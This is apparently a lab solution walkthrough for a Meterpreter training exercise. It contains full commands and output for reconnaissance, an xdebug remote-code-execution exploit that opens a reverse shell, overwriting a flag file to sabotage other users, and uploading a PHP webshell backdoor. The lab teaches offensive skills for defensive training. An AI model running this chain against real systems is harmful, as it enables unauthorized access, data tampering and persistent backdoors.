
ATTACK
DEFENSE
by PentesterAcademy

Name	Meterpreter Basics
URL	https://www.attackdefense.com/challengedetails?cid=193
Type	Metasploit: Meterpreter

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

In this documents we are going solve following questions.

1. Check the present working directory on remote (exploited) machine.
2. List the files present in present working directory of the remote machine.
3. Check the present working directory on local (attacker) machine.
4. List the files present in present working directory of the local machine.
5. Get the flag value present in /app/flag1 file.
6. Change the flag value present in /app/flag1, so that no one else can get the right flag.
7. Change the present working directory to a suspiciously named directory in /app and read the flag from a hidden file present in that directory.
8. Get the flag5.zip to local machine, open it using password 56784. The information given in the extracted file will give clue about the location of the another flag.
9. Delete the .zip file from the directory.
10. Print checksum of file mentioned in the extracted file (Refer to Q8).
11. Check the PATH environment variable on the remote machine.
12. There is a file with string “ckdo” in its name in one of the places included in PATH variable. Print the flag hidden in that file.
13. Change to tools directory on the local machine.
14. Upload a PHP webshell to app directory of the remote machine.

Step 1: Run an Nmap scan against the target IP.

Command: nmap -sS -sV 192.189.123.3

```
root@attackdefense:~# nmap -sS -sV 192.189.123.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-10 15:29 UTC
Nmap scan report for fqobi3sc4mfpdze1w274d2p00.temp-network_a-189-123 (192.189.123.3)
Host is up (0.000016s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.7 ((Ubuntu))
3306/tcp open  mysql   MySQL 5.5.47-0ubuntu0.14.04.1
MAC Address: 02:42:C0:BD:7B:03 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 6.80 seconds
root@attackdefense:~#
```

Step 2: We will scan the target using dirb tool.

Command: dirb http://192.189.123.3

```
root@attackdefense:~# dirb http://192.189.123.3

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Mon Jun 10 15:31:21 2019
URL_BASE: http://192.189.123.3/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.189.123.3/ ----
+ http://192.189.123.3/.git/HEAD (CODE:200|SIZE:23)
+ http://192.189.123.3/cgi-bin/ (CODE:403|SIZE:288)
==> DIRECTORY: http://192.189.123.3/files/
+ http://192.189.123.3/index.php (CODE:200|SIZE:1315)
==> DIRECTORY: http://192.189.123.3/js/
+ http://192.189.123.3/LICENSE (CODE:200|SIZE:10273)
+ http://192.189.123.3/logo (CODE:200|SIZE:14598)
+ http://192.189.123.3/mobile (CODE:200|SIZE:5265)
+ http://192.189.123.3/phpinfo.php (CODE:200|SIZE:88010)
```

Step 3: We will access phpinfo.php file using curl to find more information about the web server.

Command: curl http://192.189.123.3/phpinfo.php

```
<h2><a name="module_xdebug">xdebug</a></h2>
<table border="0" cellpadding="3" width="600">
<tr class="h"><th>xdebug support</th><th>enabled</th></tr>
<tr><td class="e">Version </td><td class="v">2.2.3 </td></tr>
<tr><td class="e">IDE Key </td><td class="v"><i>no value</i> </td></tr>
</table><br />
```

Step 4: The xdebug extension is enabled on target server. We can exploit it using exploit/unix/http/xdebug_unauth_exec metasploit module.

Command:
msfconsole
use exploit/unix/http/xdebug_unauth_exec
set RHOSTS 192.189.123.3
set LHOST 192.189.123.2
exploit

```
msf5 > use exploit/unix/http/xdebug_unauth_exec
msf5 exploit(unix/http/xdebug_unauth_exec) > set RHOSTS 192.189.123.3
RHOSTS => 192.189.123.3
msf5 exploit(unix/http/xdebug_unauth_exec) > set LHOST 192.189.123.2
LHOST => 192.189.123.2
msf5 exploit(unix/http/xdebug_unauth_exec) > exploit

[*] Started reverse TCP handler on 192.189.123.2:4444
[*] 192.189.123.3:80 - Waiting for client response.
[*] 192.189.123.3:80 - Receiving response
[*] 192.189.123.3:80 - Shell might take upto a minute to respond.Please be patient.
[*] 192.189.123.3:80 - Sending payload of size 2030 bytes
[*] Sending stage (38247 bytes) to 192.189.123.3
[*] Meterpreter session 1 opened (192.189.123.2:4444 -> 192.189.123.3:39604) at 2019-

meterpreter >
```

Q1. Check the present working directory on remote (exploited) machine.

Answer: pwd

```
meterpreter > pwd
/app
meterpreter >
```

Q2. List the files present in present working directory of the remote machine.

Answer: ls

```
meterpreter > ls
Listing: /app
=============

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
40777/rwxrwxrwx   4096   dir   2018-10-07 08:58:41 +0000  .git
100777/rwxrwxrwx  10273  fil   2018-10-07 08:58:41 +0000  LICENSE
100777/rwxrwxrwx  8703   fil   2018-10-07 08:58:41 +0000  README
100777/rwxrwxrwx  79     fil   2018-10-07 08:58:41 +0000  README.md
40777/rwxrwxrwx   4096   dir   2018-10-07 08:58:41 +0000  Secret Files
100777/rwxrwxrwx  1284   fil   2018-10-07 08:58:41 +0000  config.php
40777/rwxrwxrwx   4096   dir   2018-10-07 08:58:41 +0000  files
100777/rwxrwxrwx  33     fil   2018-10-07 08:58:41 +0000  flag1
100777/rwxrwxrwx  208    fil   2018-10-07 08:58:41 +0000  flag5.zip
100777/rwxrwxrwx  40563  fil   2018-10-07 08:58:41 +0000  functions.php
100777/rwxrwxrwx  57739  fil   2018-10-07 08:58:41 +0000  index.php
40777/rwxrwxrwx   4096   dir   2018-10-07 08:58:41 +0000  js
100777/rwxrwxrwx  14598  fil   2018-10-07 08:58:41 +0000  logo.png
100777/rwxrwxrwx  5265   fil   2018-10-07 08:58:41 +0000  mobile.css
100777/rwxrwxrwx  19     fil   2018-10-07 08:58:41 +0000  phpinfo.php
100777/rwxrwxrwx  5758   fil   2018-10-07 08:58:41 +0000  style.css
40777/rwxrwxrwx   4096   dir   2018-10-07 08:58:41 +0000  xd_icons
100777/rwxrwxrwx  18850  fil   2018-10-07 08:58:41 +0000  zipstream.php

meterpreter >
```

Q3. Check the present working directory on local (attacker) machine.

Answer: lpwd

```
meterpreter > lpwd
/root
meterpreter >
```

Q4. List the files present in present working directory of the local machine.

Answer: lls

```
meterpreter > lls
Listing Local: /root
====================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100600/rw-------  272   fil   2018-07-27 06:18:33 +0000  .bash_history
100644/rw-r--r--  570   fil   2017-10-30 12:46:42 +0000  .bashrc
40755/rwxr-xr-x   4096  dir   2018-10-29 22:57:27 +0000  .bundle
40700/rwx------   4096  dir   2018-10-10 23:04:39 +0000  .cache
40775/rwxrwxr-x   4096  dir   2018-10-29 22:57:19 +0000  .gem
40700/rwx------   4096  dir   2018-10-29 20:44:56 +0000  .gnupg
40755/rwxr-xr-x   4096  dir   2018-11-11 15:09:27 +0000  .msf4
100644/rw-r--r--  148   fil   2017-10-30 12:46:42 +0000  .profile
100600/rw-------  1024  fil   2018-10-05 12:00:27 +0000  .rnd
40775/rwxrwxr-x   4096  dir   2018-10-29 22:55:31 +0000  .subversion
100644/rw-r--r--  165   fil   2018-10-10 23:05:26 +0000  .wget-hsts
40755/rwxr-xr-x   4096  dir   2018-10-05 12:00:22 +0000  .wpscan
100644/rw-r--r--  293   fil   2018-10-07 00:43:54 +0000  README
40755/rwxr-xr-x   4096  dir   2018-10-23 18:47:51 +0000  tools

meterpreter >
```

Q5. Get the flag value present in /app/flag1 file.

Answer: cat /app/flag1

```
meterpreter >
meterpreter > cat /app/flag1
5c50a439f040922188a22f88cecc5277
meterpreter >
```

Q6. Change the flag value present in /app/flag1, so that no one else can get the right flag.

Answer: edit /app/flag1

```
meterpreter > edit /app/flag1
meterpreter > cat /app/flag1
2188a22f88cecc5277
meterpreter >
```

Q7. Change the present working directory to a suspiciously named directory in /app and read the flag from a hidden file present in that directory.

Answer: cd "Secret Files"; cat .flag2

```
meterpreter > cd "Secret Files"
meterpreter > pwd
/app/Secret Files
meterpreter > ls
Listing: /app/Secret Files
==========================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100777/rwxrwxrwx  33    fil   2018-10-07 08:58:41 +0000  .flag2

meterpreter > cat .flag2
bbbb3ed27502614e27bff65faea008a0
meterpreter >
```

Q8. Get the flag5.zip to local machine, open it using password 56784. The information given in the extracted file will give clue about the location of the another flag.

Answer: download flag5.zip; unzip flag5.zip; cat list

```
meterpreter > cd ..
meterpreter > ls
Listing: /app
=============

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
40777/rwxrwxrwx   4096   dir   2018-10-07 08:58:41 +0000  .git
100777/rwxrwxrwx  10273  fil   2018-10-07 08:58:41 +0000  LICENSE
100777/rwxrwxrwx  8703   fil   2018-10-07 08:58:41 +0000  README
100777/rwxrwxrwx  79     fil   2018-10-07 08:58:41 +0000  README.md
40777/rwxrwxrwx   4096   dir   2018-10-07 08:58:41 +0000  Secret Files
100777/rwxrwxrwx  1284   fil   2018-10-07 08:58:41 +0000  config.php
40777/rwxrwxrwx   4096   dir   2018-10-07 08:58:41 +0000  files
100777/rwxrwxrwx  19     fil   2018-11-11 15:14:48 +0000  flag1
100777/rwxrwxrwx  208    fil   2018-10-07 08:58:41 +0000  flag5.zip
100777/rwxrwxrwx  40563  fil   2018-10-07 08:58:41 +0000  functions.php
100777/rwxrwxrwx  57739  fil   2018-10-07 08:58:41 +0000  index.php
40777/rwxrwxrwx   4096   dir   2018-10-07 08:58:41 +0000  js
100777/rwxrwxrwx  14598  fil   2018-10-07 08:58:41 +0000  logo.png
100777/rwxrwxrwx  5265   fil   2018-10-07 08:58:41 +0000  mobile.css
100777/rwxrwxrwx  19     fil   2018-10-07 08:58:41 +0000  phpinfo.php
100777/rwxrwxrwx  5758   fil   2018-10-07 08:58:41 +0000  style.css
40777/rwxrwxrwx   4096   dir   2018-10-07 08:58:41 +0000  xd_icons
100777/rwxrwxrwx  18850  fil   2018-10-07 08:58:41 +0000  zipstream.php
```

```
meterpreter > download flag5.zip
[*] Downloading: flag5.zip -> flag5.zip
[*] Downloaded 208.00 B of 208.00 B (100.0%): flag5.zip -> flag5.zip
[*] download    : flag5.zip -> flag5.zip
```

```
root@attackdefense:~# ls
README  flag5.zip  tools
root@attackdefense:~#
root@attackdefense:~#
root@attackdefense:~# unzip flag5.zip
Archive:  flag5.zip
[flag5.zip] list password:
 extracting: list
root@attackdefense:~# cat list
MD5 hash of /bin/bash
root@attackdefense:~#
```

Q9. Delete the .zip file from the directory.

Answer: rm flag5.zip

```
meterpreter > rm flag5.zip
meterpreter >
meterpreter > ls
Listing: /app
=============

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
40777/rwxrwxrwx   4096   dir   2018-10-07 08:58:41 +0000  .git
100777/rwxrwxrwx  10273  fil   2018-10-07 08:58:41 +0000  LICENSE
100777/rwxrwxrwx  8703   fil   2018-10-07 08:58:41 +0000  README
100777/rwxrwxrwx  79     fil   2018-10-07 08:58:41 +0000  README.md
40777/rwxrwxrwx   4096   dir   2018-10-07 08:58:41 +0000  Secret Files
100777/rwxrwxrwx  1284   fil   2018-10-07 08:58:41 +0000  config.php
40777/rwxrwxrwx   4096   dir   2018-10-07 08:58:41 +0000  files
100777/rwxrwxrwx  19     fil   2018-11-11 15:14:48 +0000  flag1
100777/rwxrwxrwx  40563  fil   2018-10-07 08:58:41 +0000  functions.php
100777/rwxrwxrwx  57739  fil   2018-10-07 08:58:41 +0000  index.php
40777/rwxrwxrwx   4096   dir   2018-10-07 08:58:41 +0000  js
100777/rwxrwxrwx  14598  fil   2018-10-07 08:58:41 +0000  logo.png
100777/rwxrwxrwx  5265   fil   2018-10-07 08:58:41 +0000  mobile.css
100777/rwxrwxrwx  19     fil   2018-10-07 08:58:41 +0000  phpinfo.php
100777/rwxrwxrwx  5758   fil   2018-10-07 08:58:41 +0000  style.css
40777/rwxrwxrwx   4096   dir   2018-10-07 08:58:41 +0000  xd_icons
100777/rwxrwxrwx  18850  fil   2018-10-07 08:58:41 +0000  zipstream.php

meterpreter >
```

Q10. Print checksum of file mentioned in the extracted file (Refer to Q8).

Answer: checksum md5 /bin/bash

```
meterpreter > checksum md5 /bin/bash
164ebd6889588da166a52ca0d57b9004  /bin/bash
meterpreter >
```

Q11. Check the PATH environment variable on the remote machine.

Answer: getenv PATH

```
meterpreter > getenv PATH

Environment Variables
=====================

Variable  Value
--------  -----
PATH      /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

meterpreter >
```

Q12. There is a file with string "ckdo" in its name in one of the places included in PATH variable. Print the flag hidden in that file.

Answer: search -d /usr/bin -f *ckdo*

```
meterpreter > search -d /usr/bin -f *ckdo*
Found 1 result...
    /usr/bin\backdoor (66 bytes)
meterpreter >
```

Q13. Change to tools directory on the local machine.

Answer: lcd tools

```
meterpreter > lcd tools
meterpreter > pwd
/app
meterpreter > lls
Listing Local: /root/tools
==========================

Mode             Size  Type  Last modified              Name
----             ----  ----  -------------              ----
40755/rwxr-xr-x  4096  dir   2018-10-12 18:14:29 +0000  JohnTheRipper
40755/rwxr-xr-x  4096  dir   2018-10-10 23:04:36 +0000  firepwd
40755/rwxr-xr-x  4096  dir   2018-10-23 18:47:51 +0000  reGeorg
40755/rwxr-xr-x  4096  dir   2018-10-10 23:06:18 +0000  srtp_decrypt
40755/rwxr-xr-x  4096  dir   2018-10-10 23:05:55 +0000  steganography
```

Q14. Upload a PHP webshell to app directory of the remote machine.

Answer: upload /usr/share/webshells/php/php-backdoor.php

```
meterpreter > upload /usr/share/webshells/php/php-backdoor.php
[*] uploading  : /usr/share/webshells/php/php-backdoor.php -> php-backdoor.php
[*] Uploaded -1.00 B of 2.73 KiB (-0.04%): /usr/share/webshells/php/php-backdoor.php -> php-backdoor.php
[*] uploaded   : /usr/share/webshells/php/php-backdoor.php -> php-backdoor.php
meterpreter >
```

References

1. Meterpreter (https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/)